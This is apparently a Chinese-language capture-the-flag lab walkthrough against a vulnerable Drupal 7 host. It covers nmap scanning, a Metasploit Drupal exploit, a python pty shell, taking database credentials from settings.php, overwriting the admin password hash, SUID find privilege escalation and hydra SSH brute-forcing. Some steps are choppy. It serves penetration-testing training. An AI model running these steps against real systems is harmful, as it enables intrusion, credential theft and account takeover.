实验开始
第一步:进入kali查询IP地址
随后输入sudo su进入root权限
密码:123456
信息收集:寻找靶机真实IP
nmap -sP 1 XXX.XXX.XXX.XXX /24
扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。
本质上是Ping扫描,能Ping通有回包,就判定主机在线
信息收集:探端口及服务
输入nmap -A -p- -v 192.168.237.129
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
访问web站点
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
再次输入searchsploit drupal 7
利用MSF渗透
典型的drupal,启动Metersploit MSF存在drupal模块,尝试使用msf渗透
1.MSF简单命令介绍
先输入msfconsole 进入MSF控制台
输入search Drupal搜素相应模块
选择模块进行测试
用2018的测试
输入use 1 设置靶机IP运行msf
输入shell提权whoami
发现是www-data权限
进入home目录,发现flag4.txt文件,提示需要提升权限
输入
使用python反弹一个交互式shell
输入python -c "import pty;pty.spawn('/bin/bash')"
依次输入cd /var/www
ls
cat flag1.txt
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件
我们先进入数据库查看
'username' => 'dbuser',
'password' => 'R0ck3t',
先输入mysql -u dbuser -p 在输入
查看数据库,切换到drupaldb数据库
查看查找默认的Drupal user 表
select * from users;
发现admin信息
进入www目录
输入quit;
站点路径下执行
php scripts/password-hash.sh 新密码更改
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -u dbuser -pR0ck3t
use drupaldb
再次输入
update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";
登录站点
访问站点
进行登录,密码是之前我们自己替换的,账号是admin
admin
123
成功登录
先输入quit;
在输入find / -perm -4000 2>/dev/null
发现find命令
使用命令测试,发现为root权限
touch 123
ls
若出现三个root也可输入touch 123
Ls
最后Ctrl键+z 点y Ctrl键+z点y Ctrl
输入cd /usr/share/john
hydra -l flag4 -P password.lst ssh://192.168.237.129
解释一下:
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
SSH连接登录,拿到flag4权限
试验完成